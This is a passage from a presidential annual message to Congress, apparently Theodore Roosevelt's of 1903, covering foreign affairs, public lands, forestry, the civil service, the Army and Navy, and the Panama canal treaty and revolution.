war, and at least\nin many cases to substitute some other and more rational method for the\nsettlement of disputes. The Hague Court offers so good an example of\nwhat can be done in the direction of such settlement that it should be\nencouraged in every way.Further steps should be taken. In President McKinley's annual Message\nof December 5, 1898, he made the following recommendation:\"The experiences of the last year bring forcibly home to us a sense of\nthe burdens and the waste of war. We desire in common with most\ncivilized nations, to reduce to the lowest possible point the damage\nsustained in time of war by peaceable trade and commerce. It is true we\nmay suffer in such cases less than other communities, but all nations\nare damaged more or less by the state of uneasiness and apprehension\ninto which an outbreak of hostilities throws the entire commercial\nworld. It should be our object, therefore, to minimize, so far as\npracticable, this inevitable loss and disturbance. This purpose can\nprobably best be accomplished by an international agreement to regard\nall private property at sea as exempt from capture or destruction by\nthe forces of belligerent powers. The United States Government has for\nmany years advocated this humane and beneficent principle, and is now\nin a position to recommend it to other powers without the imputation of\nselfish motives. I therefore suggest for your consideration that the\nExecutive be authorized to correspond with the governments of the\nprincipal maritime powers with a view of incorporating into the\npermanent law of civilized nations the principle of the exemption of\nall private property at sea, not contraband of war, from capture or\ndestruction by belligerent powers.\"I cordially renew this recommendation.The Supreme Court, speaking on December 11. 1899, through Peckham, J.,\nsaid:\"It is, we think, historically accurate to say that this Government has\nalways been, in its views, among the most advanced of the governments\nof the world in favor of mitigating, as to all non-combatants, the\nhardships and horrors of war. To accomplish that object it has always\nadvocated those rules which would in most cases do away with the right\nto capture the private property of an enemy on the high seas.\"I advocate this as a matter of humanity and morals. It is anachronistic\nwhen private property is respected on land that it should not be\nrespected at sea. Moreover, it should be borne in mind that shipping\nrepresents, internationally speaking, a much more generalized species\nof private property than is the case with ordinary property on\nland--that is, property found at sea is much less apt than is the case\nwith property found on land really to belong to any one nation. Under\nthe modern system of corporate ownership the flag of a vessel often\ndiffers from the flag which would mark the nationality of the real\nownership and money control of the vessel; and the cargo may belong to\nindividuals of yet a different nationality. Much American capital is\nnow invested in foreign ships; and among foreign nations it often\nhappens that the capital of one is largely invested in the shipping of\nanother. Furthermore, as a practical matter, it may be mentioned that\nwhile commerce destroying may cause serious loss and great annoyance,\nit can never be more than a subsidiary factor in bringing to terms a\nresolute foe. This is now well recognized by all of our naval experts.\nThe fighting ship, not the commerce destroyer, is the vessel whose\nfeats add renown to a nation's history, and establish her place among\nthe great powers of the world.Last year the Interparliamentary Union for International Arbitration\nmet at Vienna, six hundred members of the different legislatures of\ncivilized countries attending. It was provided that the next meeting\nshould be in 1904 at St. Louis, subject to our Congress extending an\ninvitation. Like the Hague Tribunal, this Interparliamentary Union is\none of the forces tending towards peace among the nations of the earth,\nand it is entitled to our support. I trust the invitation can be\nextended.Early in July, having received intelligence, which happily turned out\nto be erroneous, of the assassination of our vice-consul at Beirut, I\ndispatched a small squadron to that port for such service as might be\nfound necessary on arrival. Although the attempt on the life of our\nvice-consul had not been successful, yet the outrage was symptomatic of\na state of excitement and disorder which demanded immediate attention.\nThe arrival of the vessels had the happiest result. A feeling of\nsecurity at once took the place of the former alarm and disquiet; our\nofficers were cordially welcomed by the consular body and the leading\nmerchants, and ordinary business resumed its activity. The Government\nof the Sultan gave a considerate hearing to the representations of our\nminister; the official who was regarded as responsible for the\ndisturbed condition of affairs was removed. Our relations with the\nTurkish Government remain friendly; our claims rounded on inequitable\ntreatment of some of our schools and missions appear to be in process\nof amicable adjustment.The signing of a new commercial treaty with China, which took place at\nShanghai on the 8th of October, is a cause for satisfaction. This act,\nthe result of long discussion and negotiation, places our commercial\nrelations with the great Oriental Empire on a more satisfactory footing\nthan they have ever heretofore enjoyed. It provides not only for the\nordinary rights and privileges of diplomatic and consular officers, but\nalso for an important extension of our commerce by increased facility\nof access to Chinese ports, and for the relief of trade by the removal\nof some of the obstacles which have embarrassed it in the past. The\nChinese Government engages, on fair and equitable conditions, which\nwill probably be accepted by the principal commercial nations, to\nabandon the levy of \"liken\" and other transit dues throughout the\nEmpire, and to introduce other desirable administrative reforms. Larger\nfacilities are to be given to our citizens who desire to carry on\nmining enterprises in China. We have secured for our missionaries a\nvaluable privilege, the recognition of their right to rent and lease in\nperpetuity such property as their religious societies may need in all\nparts of the Empire. And, what was an indispensable condition for the\nadvance and development of our commerce in Manchuria, China, by treaty\nwith us, has opened to foreign commerce the cities of Mukden, the\ncapital of the province of Manchuria, and An-tung, an important port on\nthe Yalu River, on the road to Korea. The full measure of development\nwhich our commerce may rightfully expect can hardly be looked for until\nthe settlement of the present abnormal state of things in the Empire;\nbut the foundation for such development has at last been laid.I call your attention to the reduced cost in maintaining the consular\nservice for the fiscal year ending June 30, 1903, as shown in the\nannual report of the Auditor for the State and other Departments, as\ncompared with the year previous. For the year under consideration the\nexcess of expenditures over receipts on account of the consular service\namounted to $26,125.12, as against $96,972.50 for the year ending June\n30, 1902, and $147,040.16 for the year ending June 30, 1901. This is\nthe best showing in this respect for the consular service for the past\nfourteen years, and the reduction in the cost of the service to the\nGovernment has been made in spite of the fact that the expenditures for\nthe year in question were more than $20,000 greater than for the\nprevious year.The rural free-delivery service has been steadily extended. The\nattention of the Congress is asked to the question of the compensation\nof the letter carriers and clerks engaged in the postal service,\nespecially on the new rural free-delivery routes. More routes have been\ninstalled since the first of July last than in any like period in the\nDepartment's history. While a due regard to economy must be kept in\nmind in the establishment of new routes, yet the extension of the rural\nfree-delivery system must be continued, for reasons of sound public\npolicy. No governmental movement of recent years has resulted in\ngreater immediate benefit to the people of the country districts. Rural\nfree delivery, taken in connection with the telephone, the bicycle, and\nthe trolley, accomplishes much toward lessening the isolation of farm\nlife and making it brighter and more attractive. In the immediate past\nthe lack of just such facilities as these has driven many of the more\nactive and restless young men and women from the farms to the cities;\nfor they rebelled at loneliness and lack of mental companionship. It is\nunhealthy and undesirable for the cities to grow at the expense of the\ncountry; and rural free delivery is not only a good thing in itself,\nbut is good because it is one of the causes which check this\nunwholesome tendency towards the urban concentration of our population\nat the expense of the country districts. It is for the same reason that\nwe sympathize with and approve of the policy of building good roads.\nThe movement for good roads is one fraught with the greatest benefit to\nthe country districts.I trust that the Congress will continue to favor in all proper ways the\nLouisiana Purchase Exposition. This Exposition commemorates the\nLouisiana purchase, which was the first great step in the expansion\nwhich made us a continental nation. The expedition of Lewis and Clark\nacross the continent followed thereon, and marked the beginning of the\nprocess of exploration and colonization which thrust our national\nboundaries to the Pacific. The acquisition of the Oregon country,\nincluding the present States of Oregon and Washington, was a fact of\nimmense importance in our history; first giving us our place on the\nPacific seaboard, and making ready the way for our ascendency in the\ncommerce of the greatest of the oceans. The centennial of our\nestablishment upon the western coast by the expedition of Lewis and\nClark is to be celebrated at Portland, Oregon, by an exposition in the\nsummer of 1905, and this event should receive recognition and support\nfrom the National Government.I call your special attention to the Territory of Alaska. The country\nis developing rapidly, and it has an assured future. The mineral wealth\nis great and has as yet hardly been tapped. The fisheries, if wisely\nhandled and kept under national control, will be a business as\npermanent as any other, and of the utmost importance to the people. The\nforests if properly guarded will form another great source of wealth.\nPortions of Alaska are fitted for farming and stock raising, although\nthe methods must be adapted to the peculiar conditions of the country.\nAlaska is situated in the far north; but so are Norway and Sweden and\nFinland; and Alaska can prosper and play its part in the New World just\nas those nations have prospered and played their parts in the Old\nWorld. Proper land laws should be enacted; and the survey of the public\nlands immediately begun. Coal-land laws should be provided whereby the\ncoal-land entryman may make his location and secure patent under\nmethods kindred to those now prescribed for homestead and mineral\nentrymen. Salmon hatcheries, exclusively under Government control,\nshould be established. The cable should be extended from Sitka\nwestward. Wagon roads and trails should be built, and the building of\nrailroads promoted in all legitimate ways. Light-houses should be built\nalong the coast. Attention should be paid to the needs of the Alaska\nIndians; provision should be made for an officer, with deputies, to\nstudy their needs, relieve their immediate wants, and help them adapt\nthemselves to the new conditions.The commission appointed to investigate, during the season of 1903, the\ncondition and needs of the Alaskan salmon fisheries, has finished its\nwork in the field, and is preparing a detailed report thereon. A\npreliminary report reciting the measures immediately required for the\nprotection and preservation of the salmon industry has already been\nsubmitted to the Secretary of Commerce and Labor for his attention and\nfor the needed action.I recommend that an appropriation be made for building light-houses in\nHawaii, and taking possession of those already built. The Territory\nshould be reimbursed for whatever amounts it has already expended for\nlight-houses. The governor should be empowered to suspend or remove any\nofficial appointed by him, without submitting the matter to the\nlegislature.Of our insular possessions the Philippines and Porto Rico it is\ngratifying to say that their steady progress has been such as to make\nit unnecessary to spend much time in discussing them. Yet the Congress\nshould ever keep in mind that a peculiar obligation rests upon us to\nfurther in every way the welfare of these communities. The Philippines\nshould be knit closer to us by tariff arrangements. It would, of\ncourse, be impossible suddenly to raise the people of the islands to\nthe high pitch of industrial prosperity and of governmental efficiency\nto which they will in the end by degrees attain; and the caution and\nmoderation shown in developing them have been among the main reasons\nwhy this development has hitherto gone on so smoothly. Scrupulous care\nhas been taken in the choice of governmental agents, and the entire\nelimination of partisan politics from the public service. The condition\nof the islanders is in material things far better than ever before,\nwhile their governmental, intellectual, and moral advance has kept pace\nwith their material advance. No one people ever benefited another\npeople more than we have benefited the Filipinos by taking possession\nof the islands.The cash receipts of the General Land Office for the last fiscal year\nwere $11,024,743.65, an increase of $4,762,816.47 over the preceding\nyear. Of this sum, approximately, $8,461,493 will go to the credit of\nthe fund for the reclamation of arid land, making the total of this\nfund, up to the 30th of June, 1903, approximately, $16,191,836.A gratifying disposition has been evinced by those having unlawful\ninclosures of public land to remove their fences. Nearly two million\nacres so inclosed have been thrown open on demand. In but comparatively\nfew cases has it been necessary to go into court to accomplish this\npurpose. This work will be vigorously prosecuted until all unlawful\ninclosures have been removed.Experience has shown that in the western States themselves, as well as\nin the rest of the country, there is widespread conviction that certain\nof the public-land laws and the resulting administrative practice no\nlonger meet the present needs. The character and uses of the remaining\npublic lands differ widely from those of the public lands which\nCongress had especially in view when these laws were passed. The\nrapidly increasing rate of disposal of the public lands is not followed\nby a corresponding increase in home building. There is a tendency to\nmass in large holdings public lands, especially timber and grazing\nlands, and thereby to retard settlement. I renew and emphasize my\nrecommendation of last year that so far as they are available for\nagriculture in its broadest sense, and to whatever extent they may be\nreclaimed under the national irrigation law, the remaining public lands\nshould be held rigidly for the home builder. The attention of the\nCongress is especially directed to the timber and stone law, the\ndesert-land law, and the commutation clause of the homestead law, which\nin their operation have in many respects conflicted with wise\npublic-land policy. The discussions in the Congress and elsewhere have\nmade it evident that there is a wide divergence of opinions between\nthose holding opposite views on these subjects; and that the opposing\nsides have strong and convinced representatives of weight both within\nand without the Congress; the differences being not only as to matters\nof opinion but as to matters of fact. In order that definite\ninformation may be available for the use of the Congress, I have\nappointed a commission composed of W. A. Richards, Commissioner of the\nGeneral Land Office; Gifford Pinchot, Chief of the Bureau of Forestry\nof the Department of Agriculture, and F. H. Newell, Chief Hydrographer\nof the Geological Survey, to report at the earliest practicable moment\nupon the condition, operation, and effect of the present land laws and\non the use, condition, disposal, and settlement of the public lands.\nThe commission will report especially what changes in organization,\nlaws, regulations, and practice affecting the public lands are needed\nto effect the largest practicable disposition of the public lands to\nactual settlers who will build permanent homes upon them, and to secure\nin permanence the fullest and most effective use of the resources of\nthe public lands; and it will make such other reports and\nrecommendations as its study of these questions may suggest. The\ncommission is to report immediately upon those points concerning which\nits judgment is clear; on any point upon which it has doubt it will\ntake the time necessary to make investigation and reach a final\njudgment.The work of reclamation of the arid lands of the West is progressing\nsteadily and satisfactorily under the terms of the law setting aside\nthe proceeds from the disposal of public lands. The corps of engineers\nknown as the Reclamation Service, which is conducting the surveys and\nexaminations, has been thoroughly organized, especial pains being taken\nto secure under the civil-service rules a body of skilled, experienced,\nand efficient men. Surveys and examinations are progressing throughout\nthe arid States and Territories, plans for reclaiming works being\nprepared and passed upon by boards of engineers before approval by the\nSecretary of the Interior. In Arizona and Nevada, in localities where\nsuch work is pre-eminently needed, construction has already been begun.\nIn other parts of the arid West various projects are well advanced\ntowards the drawing up of contracts, these being delayed in part by\nnecessities of reaching agreements or understanding as regards rights\nof way or acquisition of real estate. Most of the works contemplated\nfor construction are of national importance, involving interstate\nquestions or the securing of stable, self-supporting communities in the\nmidst of vast tracts of vacant land. The Nation as a whole is of course\nthe gainer by the creation of these homes, adding as they do to the\nwealth and stability of the country, and furnishing a home market for\nthe products of the East and South. The reclamation law, while perhaps\nnot ideal, appears at present to answer the larger needs for which it\nis designed. Further legislation is not recommended until the\nnecessities of change are more apparent.The study of the opportunities of reclamation of the vast extent of\narid land shows that whether this reclamation is done by individuals,\ncorporations, or the State, the sources of water supply must be\neffectively protected and the reservoirs guarded by the preservation of\nthe forests at the headwaters of the streams. The engineers making the\npreliminary examinations continually emphasize this need and urge that\nthe remaining public lands at the headwaters of the important streams\nof the West be reserved to insure permanency of water supply for\nirrigation. Much progress in forestry has been made during the past\nyear. The necessity for perpetuating our forest resources, whether in\npublic or private hands, is recognized now as never before. The demand\nfor forest reserves has become insistent in the West, because the West\nmust use the water, wood, and summer range which only such reserves can\nsupply. Progressive lumbermen are striving, through forestry, to give\ntheir business permanence. Other great business interests are awakening\nto the need of forest preservation as a business matter. The\nGovernment's forest work should receive from the Congress hearty\nsupport, and especially support adequate for the protection of the\nforest reserves against fire. The forest-reserve policy of the\nGovernment has passed beyond the experimental stage and has reached a\ncondition where scientific methods are essential to its successful\nprosecution. The administrative features of forest reserves are at\npresent unsatisfactory, being divided between three Bureaus of two\nDepartments. It is therefore recommended that all matters pertaining to\nforest reserves, except those involving or pertaining to land titles,\nbe consolidated in the Bureau of Forestry of the Department of\nAgriculture.The cotton-growing States have recently been invaded by a weevil that\nhas done much damage and threatens the entire cotton industry. I\nsuggest to the Congress the prompt enactment of such remedial\nlegislation as its judgment may approve.In granting patents to foreigners the proper course for this country to\nfollow is to give the same advantages to foreigners here that the\ncountries in which these foreigners dwell extend in return to our\ncitizens; that is, to extend the benefits of our patent laws on\ninventions and the like where in return the articles would be\npatentable in the foreign countries concerned--where an American could\nget a corresponding patent in such countries.The Indian agents should not be dependent for their appointment or\ntenure of office upon considerations of partisan politics; the practice\nof appointing, when possible, ex-army officers or bonded\nsuperintendents to the vacancies that occur is working well. Attention\nis invited to the widespread illiteracy due to lack of public schools\nin the Indian Territory. Prompt heed should be paid to the need of\neducation for the children in this Territory.In my last annual Message the attention of the Congress was called to\nthe necessity of enlarging the safety-appliance law, and it is\ngratifying to note that this law was amended in important respects.\nWith the increasing railway mileage of the country, the greater number\nof men employed, and the use of larger and heavier equipment, the\nurgency for renewed effort to prevent the loss of life and limb upon\nthe railroads of the country, particularly to employees, is apparent.\nFor the inspection of water craft and the Life-Saving Service upon the\nwater the Congress has built up an elaborate body of protective\nlegislation and a thorough method of inspection and is annually\nspending large sums of money. It is encouraging to observe that the\nCongress is alive to the interests of those who are employed upon our\nwonderful arteries of commerce--the railroads--who so safely transport\nmillions of passengers and billions of tons of freight. The Federal\ninspection, of safety appliances, for which the Congress is now making\nappropriations, is a service analogous to that which the Government has\nupheld for generations in regard to vessels, and it is believed will\nprove of great practical benefit, both to railroad employees and the\ntraveling public. As the greater part of commerce is interstate and\nexclusively under the control of the Congress the needed safety and\nuniformity must be secured by national legislation.No other class of our citizens deserves so well of the Nation as those\nto whom the Nation owes its very being, the veterans of the civil war.\nSpecial attention is asked to the excellent work of the Pension Bureau\nin expediting and disposing of pension claims. During the fiscal year\nending July 1, 1903, the Bureau settled 251,982 claims, an average of\n825 claims for each working day of the year. The number of settlements\nsince July 1, 1903, has been in excess of last year's average,\napproaching 1,000 claims for each working day, and it is believed that\nthe work of the Bureau will be current at the close of the present\nfiscal year.During the year ended June 30 last 25,566 persons were appointed\nthrough competitive examinations under the civil-service rules. This\nwas 12,672 more than during the preceding year, and 40 per cent of\nthose who passed the examinations. This abnormal growth was largely\noccasioned by the extension of classification to the rural\nfree-delivery service and the appointment last year of over 9,000 rural\ncarriers. A revision of the civil-service rules took effect on April 15\nlast, which has greatly improved their operation. The completion of the\nreform of the civil service is recognized by good citizens everywhere\nas a matter of the highest public importance, and the success of the\nmerit system largely depends upon the effectiveness of the rules and\nthe machinery provided for their enforcement. A very gratifying spirit\nof friendly co-operation exists in all the Departments of the\nGovernment in the enforcement and uniform observance of both the letter\nand spirit of the civil-service act. Executive orders of July 3, 1902;\nMarch 26, 1903, and July 8, 1903, require that appointments of all\nunclassified laborers, both in the Departments at Washington and in the\nfield service, shall be made with the assistance of the United States\nCivil Service Commission, under a system of registration to test the\nrelative fitness of applicants for appointment or employment. This\nsystem is competitive, and is open to all citizens of the United States\nqualified in respect to age, physical ability, moral character,\nindustry, and adaptability for manual labor; except that in case of\nveterans of the Civil War the element of age is omitted. This system of\nappointment is distinct from the classified service and does not\nclassify positions of mere laborer under the civil-service act and\nrules. Regulations in aid thereof have been put in operation in several\nof the Departments and are being gradually extended in other parts of\nthe service. The results have been very satisfactory, as extravagance\nhas been checked by decreasing the number of unnecessary positions and\nby increasing the efficiency of the employees remaining.The Congress, as the result of a thorough investigation of the\ncharities and reformatory institutions in the District of Columbia, by\na joint select committee of the two Houses which made its report in\nMarch, 1898, created in the act approved June 6, 1900, a board of\ncharities for the District of Columbia, to consist of five residents of\nthe District, appointed by the President of the United States, by and\nwith the advice and consent of the Senate, each for a term of three\nyears, to serve without compensation. President McKinley appointed five\nmen who had been active and prominent in the public charities in\nWashington, all of whom upon taking office July 1, 1900, resigned from\nthe different charities with which they had been connected. The members\nof the board have been reappointed in successive years. The board\nserves under the Commissioners of the District of Columbia. The board\ngave its first year to a careful and impartial study of the special\nproblems before it, and has continued that study every year in the\nlight of the best practice in public charities elsewhere. Its\nrecommendations in its annual reports to the Congress through the\nCommissioners of the District of Columbia \"for the economical and\nefficient administration of the charities and reformatories of the\nDistrict of Columbia,\" as required by the act creating it, have been\nbased upon the principles commended by the joint select committee of\nthe Congress in its report of March, 1898, and approved by the best\nadministrators of public charities, and make for the desired\nsystematization and improvement of the affairs under its supervision.\nThey are worthy of favorable consideration by the Congress.The effect of the laws providing a General Staff for the Army and for\nthe more effective use of the National Guard has been excellent. Great\nimprovement has been made in the efficiency of our Army in recent\nyears. Such schools as those erected at Fort Leavenworth and Fort Riley\nand the institution of fall maneuver work accomplish satisfactory\nresults. The good effect of these maneuvers upon the National Guard is\nmarked, and ample appropriation should be made to enable the guardsmen\nof the several States to share in the benefit. The Government should as\nsoon as possible secure suitable permanent camp sites for military\nmaneuvers in the various sections of the country. The service thereby\nrendered not only to the Regular Army, but to the National Guard of the\nseveral States, will be so great as to repay many times over the\nrelatively small expense. We should not rest satisfied with what has\nbeen done, however. The only people who are contented with a system of\npromotion by mere seniority are those who are contented with the\ntriumph of mediocrity over excellence. On the other hand, a system\nwhich encouraged the exercise of social or political favoritism in\npromotions would be even worse. But it would surely be easy to devise a\nmethod of promotion from grade to grade in which the opinion of the\nhigher officers of the service upon the candidates should be decisive\nupon the standing and promotion of the latter. Just such a system now\nobtains at West Point. The quality of each year's work determines the\nstanding of that year's class, the man being dropped or graduated into\nthe next class in the relative position which his military superiors\ndecide to be warranted by his merit. In other words, ability, energy,\nfidelity, and all other similar qualities determine the rank of a man\nyear after year in West Point, and his standing in the Army when he\ngraduates from West Point; but from that time on, all effort to find\nwhich man is best or worst, and reward or punish him accordingly, is\nabandoned; no brilliancy, no amount of hard work, no eagerness in the\nperformance of duty, can advance him, and no slackness or indifference\nthat falls short of a court-martial offense can retard him. Until this\nsystem is changed we can not hope that our officers will be of as high\ngrade as we have a right to expect, considering the material upon which\nwe draw. Moreover, when a man renders such service as Captain Pershing\nrendered last spring in the Moro campaign, it ought to be possible\nto reward him without at once jumping him to the grade of\nbrigadier-general.Shortly after the enunciation of that famous principle of American\nforeign policy now known as the \"Monroe Doctrine,\" President Monroe, in\na special Message to Congress on January 30, 1824, spoke as follows:\n\"The Navy is the arm from which our Government will always derive most\naid in support of our rights. Every power engaged in war will know the\nstrength of our naval power, the number of our ships of each class,\ntheir condition, and the promptitude with which we may bring them into\nservice, and will pay due consideration to that argument.\"I heartily congratulate the Congress upon the steady progress in\nbuilding up the American Navy. We can not afford a let-up in this great\nwork. To stand still means to go back. There should be no cessation in\nadding to the effective units of the fighting strength of the fleet.\nMeanwhile the Navy Department and the officers of the Navy are doing\nwell their part by providing constant service at sea under conditions\nakin to those of actual warfare. Our officers and enlisted men are\nlearning to handle the battleships, cruisers, and torpedo boats with\nhigh efficiency in fleet and squadron formations, and the standard of\nmarksmanship is being steadily raised. The best work ashore is\nindispensable, but the highest duty of a naval officer is to exercise\ncommand at sea.The establishment of a naval base in the Philippines ought not to be\nlonger postponed. Such a base is desirable in time of peace; in time of\nwar it would be indispensable, and its lack would be ruinous. Without\nit our fleet would be helpless. Our naval experts are agreed that Subig\nBay is the proper place for the purpose. The national interests require\nthat the work of fortification and development of a naval station at\nSubig Bay be begun at an early date; for under the best conditions it\nis a work which will consume much time.It is eminently desirable, however, that there should be provided a\nnaval general staff on lines similar to those of the General Staff\nlately created for the Army. Within the Navy Department itself the\nneeds of the service have brought about a system under which the duties\nof a general staff are partially performed; for the Bureau of\nNavigation has under its direction the War College, the Office of Naval\nIntelligence, and the Board of Inspection, and has been in close touch\nwith the General Board of the Navy. But though under the excellent\nofficers at their head, these boards and bureaus do good work, they\nhave not the authority of a general staff, and have not sufficient\nscope to insure a proper readiness for emergencies. We need the\nestablishment by law of a body of trained officers, who shall exercise\na systematic control of the military affairs of the Navy, and be\nauthorized advisers of the Secretary concerning it.By the act of June 28, 1902, the Congress authorized the President to\nenter into treaty with Colombia for the building of the canal across\nthe Isthmus of Panama; it being provided that in the event of failure\nto secure such treaty after the lapse of a reasonable time, recourse\nshould be had to building a canal through Nicaragua. It has not been\nnecessary to consider this alternative, as I am enabled to lay before\nthe Senate a treaty providing for the building of the canal across the\nIsthmus of Panama. This was the route which commended itself to the\ndeliberate judgment of the Congress, and we can now acquire by treaty\nthe right to construct the canal over this route. The question now,\ntherefore, is not by which route the isthmian canal shall be built, for\nthat question has been definitely and irrevocably decided. The question\nis simply whether or not we shall have an isthmian canal.When the Congress directed that we should take the Panama route under\ntreaty with Colombia, the essence of the condition, of course, referred\nnot to the Government which controlled that route, but to the route\nitself; to the territory across which the route lay, not to the name\nwhich for the moment the territory bore on the map. The purpose of the\nlaw was to authorize the President to make a treaty with the power in\nactual control of the Isthmus of Panama. This purpose has been\nfulfilled.In the year 1846 this Government entered into a treaty with New\nGranada, the predecessor upon the Isthmus of the Republic of Colombia\nand of the present Republic of Panama, by which treaty it was provided\nthat the Government and citizens of the United States should always\nhave free and open right of way or transit across the Isthmus of Panama\nby any modes of communication that might be constructed, while in turn\nour Government guaranteed the perfect neutrality of the above-mentioned\nIsthmus with the view that the free transit from the one to the other\nsea might not be interrupted or embarrassed. The treaty vested in the\nUnited States a substantial property right carved out of the rights of\nsovereignty and property which New Granada then had and possessed over\nthe said territory. The name of New Granada has passed away and its\nterritory has been divided. Its successor, the Government of Colombia,\nhas ceased to own any property in the Isthmus. A new Republic, that of\nPanama, which was at one time a sovereign state, and at another time a\nmere department of the successive confederations known as New Granada\nand Columbia, has now succeeded to the rights which first one and then\nthe other formerly exercised over the Isthmus. But as long as the\nIsthmus endures, the mere geographical fact of its existence, and the\npeculiar interest therein which is required by our position, perpetuate\nthe solemn contract which binds the holders of the territory to respect\nour right to freedom of transit across it, and binds us in return to\nsafeguard for the Isthmus and the world the exercise of that\ninestimable privilege. The true interpretation of the obligations upon\nwhich the United States entered in this treaty of 1846 has been given\nrepeatedly in the utterances of Presidents and Secretaries of State.\nSecretary Cuss in 1858 officially stated the position of this\nGovernment as follows:\"The progress of events has rendered the interoceanic route across the\nnarrow portion of Central America vastly important to the commercial\nworld, and especially to the United States, whose possessions extend\nalong the Atlantic and Pacific coasts, and demand the speediest and\neasiest modes of communication. While the rights of sovereignty of the\nstates occupying this region should always be respected, we shall\nexpect that these rights be exercised in a spirit befitting the\noccasion and the wants and circumstances that have arisen. Sovereignty\nhas its duties as well as its rights, and none of these local\ngovernments, even if administered with more regard to the just demands\nof other nations than they have been, would be permitted, in a spirit\nof Eastern isolation, to close the gates of intercourse on the great\nhighways of the world, and justify the act by the pretension that these\navenues of trade and travel belong to them and that they choose to shut\nthem, or, what is almost equivalent, to encumber them with such unjust\nrelations as would prevent their general use.\"Seven years later, in 1865, Mr. Seward in different communications took\nthe following position:\"The United States have taken and will take no interest in any question\nof internal revolution in the State of Panama, or any State of the\nUnited States of Colombia, but will maintain a perfect neutrality in\nconnection with such domestic altercations. The United States will,\nnevertheless, hold themselves ready to protect the transit trade across\nthe Isthmus against invasion of either domestic or foreign disturbers\nof the peace of the State of Panama. Neither the text nor the spirit of\nthe stipulation in that article by which the United States engages to\npreserve the neutrality of the Isthmus of Panama, imposes an obligation\non this Government to comply with the requisition of the President of\nthe United States of Colombia for a force to protect the Isthmus of\nPanama from a body of insurgents of that country. The purpose of the\nstipulation was to guarantee the Isthmus against seizure or invasion by\na foreign power only.\"Attorney-General Speed, under date of November 7, 1865, advised\nSecretary Seward as follows:\"From this treaty it can not be supposed that New Granada invited the\nUnited States to become a party to the intestine troubles of that\nGovernment, nor did the United States become bound to take sides in the\ndomestic broils of New Granada. The United States did guarantee New\nGranada in the sovereignty and property over the territory. This was as\nagainst other and foreign governments.\"For four hundred years, ever since shortly after the discovery of this\nhemisphere, the canal across the Isthmus has been planned. For two\nscore years it has been worked at. When made it is to last for the\nages. It is to alter the geography of a continent and the trade routes\nof the world. We have shown by every treaty we have negotiated or\nattempted to negotiate with the peoples in control of the Isthmus and\nwith foreign nations in reference thereto our consistent good faith in\nobserving our obligations; on the one hand to the peoples of the\nIsthmus, and on the other hand to the civilized world whose commercial\nrights we are safeguarding and guaranteeing by our action. We have done\nour duty to others in letter and in spirit, and we have shown the\nutmost forbearance in exacting our own rights.Last spring, under the act above referred to, a treaty concluded\nbetween the representatives of the Republic of Colombia and of our\nGovernment was ratified by the Senate. This treaty was entered into at\nthe urgent solicitation of the people of Colombia and after a body of\nexperts appointed by our Government especially to go into the matter of\nthe routes across the Isthmus had pronounced unanimously in favor of\nthe Panama route. In drawing up this treaty every concession was made\nto the people and to the Government of Colombia. We were more than just\nin dealing with them. Our generosity was such as to make it a serious\nquestion whether we had not gone too far in their interest at the\nexpense of our own; for in our scrupulous desire to pay all possible\nheed, not merely to the real but even to the fancied rights of our\nweaker neighbor, who already owed so much to our protection and\nforbearance, we yielded in all possible ways to her desires in drawing\nup the treaty. Nevertheless the Government of Colombia not merely\nrepudiated the treaty, but repudiated it in such manner as to make it\nevident by the time the Colombian Congress adjourned that not the\nscantiest hope remained of ever getting a satisfactory treaty from\nthem. The Government of Colombia made the treaty, and yet when the\nColombian Congress was called to ratify it the vote against\nratification was unanimous. It does not appear that the Government made\nany real effort to secure ratification.Immediately after the adjournment of the Congress a revolution broke\nout in Panama. The people of Panama had long been discontented with the\nRepublic of Colombia, and they had been kept quiet only by the prospect\nof the conclusion of the treaty, which was to them a matter of vital\nconcern. When it became evident that the treaty was hopelessly lost,\nthe people of Panama rose literally as one man. Not a shot was fired by\na single man on the Isthmus in the interest of the Colombian\nGovernment. Not a life was lost in the accomplishment of the\nrevolution. The Colombian troops stationed on the Isthmus, who had long\nbeen unpaid, made common cause with the people of Panama, and with\nastonishing unanimity the new Republic was started. The duty of the\nUnited States in the premises was clear. In strict accordance with the\nprinciples laid down by Secretaries Cass and Seward in the official\ndocuments above quoted, the United States gave notice that it would\npermit the landing of no expeditionary force, the arrival of which\nwould mean chaos and destruction along the line of the railroad and of\nthe proposed Canal, and an interruption of transit as an inevitable\nconsequence. The de facto Government of Panama was recognized in the\nfollowing telegram to Mr. Ehrman:\"The people of Panama have, by apparently unanimous movement, dissolved\ntheir political connection with the Republic of Colombia and resumed\ntheir independence. When you are satisfied that a de facto government,\nrepublican in form and without substantial opposition from its own\npeople, has been established in the State of Panama, you will enter\ninto relations with it as the responsible government of the territory\nand look to it for all due action to protect the persons and property\nof citizens of the United States and to keep open the isthmian transit,\nin accordance with the obligations of existing treaties governing the\nrelations of the United States to that Territory.\"The Government of Colombia was notified of our action by the following\ntelegram to Mr. Beaupre:\"The people of Panama having, by an apparently unanimous movement,\ndissolved their political connection with the Republic of Colombia and\nresumed their independence, and having adopted a Government of their\nown, republican in form, with which the Government of the United States\nof America has entered into relations, the President of the United\nStates, in accordance with the ties of friendship which have so long\nand so happily existed between the respective nations, most earnestly\ncommends to the Governments of Colombia and of Panama the peaceful and\nequitable settlement of all questions at issue between them. He holds\nthat he is bound not merely by treaty obligations, but by the interests\nof civilization, to see that the peaceful traffic of the world across\nthe Isthmus of Panama shall not longer be disturbed by a constant\nsuccession of unnecessary and wasteful civil wars.\"When these events happened, fifty-seven years had elapsed since the\nUnited States had entered into its treaty with New Granada. During that\ntime the Governments of New Granada and of its successor, Colombia,\nhave been in a constant state of flux. The following is a partial list\nof the disturbances on the Isthmus of Panama during the period in\nquestion as reported to us by our consuls. It is not possible to give a\ncomplete list, and some of the reports that speak of \"revolutions\" must\nmean unsuccessful revolutions. May 22, 1850.--Outbreak; two Americans\nkilled. War vessel demanded to quell outbreak. October,\n1850.--Revolutionary plot to bring about independence of the Isthmus.\nJuly 22, 1851.--Revolution in four southern provinces. November 14,\n1851.--Outbreak at Chagres. Man-of-war requested for Chagres. June 27,\n1853.--Insurrection at Bogota, and consequent disturbance on Isthmus.\nWar vessel demanded. May 23, 1854--Political disturbances; war vessel\nrequested. June 28, 1854.--Attempted revolution. October 24,\n1854.--Independence of Isthmus demanded by provincial legislature.\nApril, 1856.--Riot, and massacre of Americans. May 4, 1856.--Riot. May\n18, 1856.--Riot. June 3, 1856.--Riot. October 2, 1856.--Conflict\nbetween two native parties. United States forces landed. December 18,\n1858.--Attempted secession of Panama. April, 1859.--Riots. September,\n1860.--Outbreak. October 4, 1860.--Landing of United States forces in\nconsequence. May 23, 1861.--Intervention of the United States forces\nrequired by 